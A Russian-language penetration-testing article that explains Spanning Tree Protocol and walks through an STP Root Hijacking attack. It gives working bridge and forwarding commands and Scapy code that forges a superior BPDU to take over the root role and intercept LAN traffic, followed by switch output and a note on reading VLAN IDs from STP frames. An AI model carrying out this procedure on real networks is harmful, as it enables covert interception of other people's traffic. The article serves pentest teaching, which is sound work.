При атаке на канальном уровне, можно перепрыгнуть через все средства защиты, настроенные на более высоких уровнях. В данной статье мы с вами рассмотрим один из векторов атак на этот самый низкий уровень сети — перехват трафика с помощью STP Root Hijacking.
Еще по теме: Техники туннелирования при пентесте
Для понимания этого материала нужно иметь бэкграунд знаний компьютерных сетей, в частности знать как работает коммутация и маршрутизация.
Как работает STP
STP необходим для того, чтобы обеспечить отказоустойчивость компьютерной сети на канальном уровне. Для этого блокируются избыточные каналы, чтобы не вызвать в сети широковещательный шторм.
По моему мнению, STP — это устаревший метод организации отказоустойчивости на уровне L2, учитывая, что есть система агрегирования коммутационных каналов и технология Storm Control.
Когда топология STP только собирается, назначается специальный корневой коммутатор (иначе говоря, root bridge). Выбор основывается на специальном значении приоритета (по умолчанию это значение эквивалентно 32 768). У всех коммутаторов в домене STP это значение одинаковое, поэтому выбор определяется сложением следующих параметров:
- Значение приоритета 32 768;
- MAC-адрес коммутатора.
Коммутатор, у которого меньше MAC-адрес, станет корневым коммутатором. Производители сетевых устройств назначают MAC-адреса своим детищам последовательно. Чем старее устройство, тем его MAC-адрес меньше. От этого в продакшене корневым коммутатором часто становится какой‑нибудь древний свитч! Пропускная способность сети от этого, конечно, страдает.
После того как прошли выборы корневого коммутатора, остальные свитчи выбирают порты, которые смотрят в сторону корневого коммутатора. Их используют для форвардинга трафика. Затем будут выбраны порты, которые заблокируются на логическом уровне. Таким образом STP позволяет избежать возникновения коммутационного кольца, вызывающего широковещательный шторм.
Атака STP Root Hijacking
Но если в домене STP внезапно появится новый коммутатор, приоритет которого ниже, чем приоритет текущего корневого коммутатора, будет выбран новый корневой коммутатор. Таким образом, изменяя структуру топологии STP, можно перехватывать легитимный сетевой трафик.

Для начала переведем наши физические интерфейсы в неразборчивый режим, создадим мост br-evil и назначим этому мосту два интерфейса eth0 и eth1:
1 2 3 4 5 6 7 |
c0ldheim@PWN:~$ sudo ifconfig eth0 promisc c0ldheim@PWN:~$ sudo ifconfig eth1 promisc c0ldheim@PWN:~$ sudo brctl addbr br-evil c0ldheim@PWN:~$ sudo brctl addif br-evil eth0 c0ldheim@PWN:~$ sudo brctl addif br-evil eth1 c0ldheim@PWN:~$ sudo ifconfig br-evil promisc c0ldheim@PWN:~$ sudo ifconfig br-evil up |
Теперь нужно разрешить форвардинг трафика между интерфейсами.
1 |
c0ldheim@PWN:~$ sudo sysctl -w net.ipv4.ip_forward=1 |
Нам пригодится Scapy — собрать специальный STP-фрейм. Необходимо импортировать модуль для работы с протоколами L2.
1 |
>>> from scapy.layers.l2 import * |
Затем собираем необходимый кадр STP с наименьшим значением MAC-адреса в переменных src,rootmac и bridgemac. И напоследок зациклим отправку этого фрейма раз в 3 секунды:
1 2 3 |
>>> frame = Ether(src="00:00:00:00:00:11", dst="01:80:C2:00:00:00") >>> frame /= LLC()/STP(rootmac="00:00:00:00:00:11", bridgemac="00:00:00:00:00:11") >>> sendp(frame, iface="br-evil", inter=3, loop=1, verbose=1) |
Для рассылки служебных TCN-сообщений STP использует MAC-адрес мультикастовой рассылки 01:80:C2:00:00:00.
После отправки созданного нами фрейма видим сообщения STP TCN. Они используются для того, чтобы коммутаторы в домене STP обменивались служебной информацией между собой.

Состояние STP на коммутаторе SW1 после атаки:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
VLAN0001 Spanning tree enabled protocol rstp Root ID Priority 32769 Address 5000.0007.0000 Cost 4 Port 1 (GigabitEthernet0/0) Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec Bridge ID Priority 32769 (priority 32768 sys-id-ext 1) Address 5000.0008.0000 Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec Aging Time 300 sec Interface Role Sts Cost Prio.Nbr Type ------------------- ---- --- --------- -------- -------------------------------- Gi0/0 Root FWD 4 128.1 Shr Gi0/1 Desg FWD 4 128.2 Shr Gi0/2 Desg FWD 4 128.3 Shr Gi0/3 Desg FWD 4 128.4 Shr Gi1/0 Desg FWD 4 128.5 Shr Gi1/1 Desg FWD 4 128.6 Shr Gi1/2 Desg FWD 4 128.7 Shr Interface Role Sts Cost Prio.Nbr Type ------------------- ---- --- --------- -------- -------------------------------- Gi1/3 Desg FWD 4 128.8 Shr |
Состояние STP на коммутаторе SW2 после атаки:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
VLAN0001 Spanning tree enabled protocol rstp Root ID Priority 32769 Address 5000.0007.0000 Cost 8 Port 1 (GigabitEthernet0/0) Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec Bridge ID Priority 32769 (priority 32768 sys-id-ext 1) Address 5000.0009.0000 Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec Aging Time 300 sec Interface Role Sts Cost Prio.Nbr Type ------------------- ---- --- --------- -------- -------------------------------- Gi0/0 Root FWD 4 128.1 Shr Gi0/1 Altn BLK 4 128.2 Shr Gi0/2 Desg FWD 4 128.3 Shr Gi0/3 Desg FWD 4 128.4 Shr Gi1/0 Desg FWD 4 128.5 Shr Gi1/1 Desg FWD 4 128.6 Shr Gi1/2 Desg FWD 4 128.7 Shr Interface Role Sts Cost Prio.Nbr Type ------------------- ---- --- --------- -------- -------------------------------- Gi1/3 Desg FWD 4 128.8 Shr |
Состояние STP на коммутаторе SW3 после атаки:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
VLAN0001 Spanning tree enabled protocol rstp Root ID Priority 32769 Address 5000.0007.0000 Cost 4 Port 1 (GigabitEthernet0/0) Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec Bridge ID Priority 32769 (priority 32768 sys-id-ext 1) Address 5000.000a.0000 Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec Aging Time 300 sec Interface Role Sts Cost Prio.Nbr Type ------------------- ---- --- --------- -------- -------------------------------- Gi0/0 Root FWD 4 128.1 Shr Gi0/1 Altn BLK 4 128.2 Shr Gi0/2 Desg FWD 4 128.3 Shr Gi0/3 Desg FWD 4 128.4 Shr Gi1/0 Desg FWD 4 128.5 Shr Gi1/1 Desg FWD 4 128.6 Shr Gi1/2 Desg FWD 4 128.7 Shr Interface Role Sts Cost Prio.Nbr Type ------------------- ---- --- --------- -------- -------------------------------- Gi1/3 Desg FWD 4 128.8 Shr |
Теперь трафик побежит через наш компьютер. Для наглядности инициирую ICMP-запросы от компьютера с IP-адресом 10.1.1.100 до компьютера под IP-адресом 10.1.1.200.
Вот таким достаточно несложным способом можно перехватывать трафик. При этом для легитимных хостов видимых признаков атаки нет.
VLAN ID Enumeration
С помощью обнаруженного кадра STP можно понять, в какой сети VLAN вы находитесь. Информация о VLAN ID расположена в заголовке Root Identifier (Root Bridge System ID Extension).
Его значение эквивалентно значению VLAN ID на порте, к которому вы подключены.



Заключение
Атаки L2 в последнее время утратили актуальность и немного вышли из моды: сейчас мало кто обращает на них внимание. Возможно, эта статья подарит пентестерам новые варианты атак, а сетевые инженеры после прочтения смогут повысить уровень защищенности своих сетей.
ПОЛЕЗНЫЕ ССЫЛКИ:
- ICMP-туннелирование в пентесте
- Перехват трафика в локальной сети по проводу
- Использование атаки CAM Table Overflow в пентесте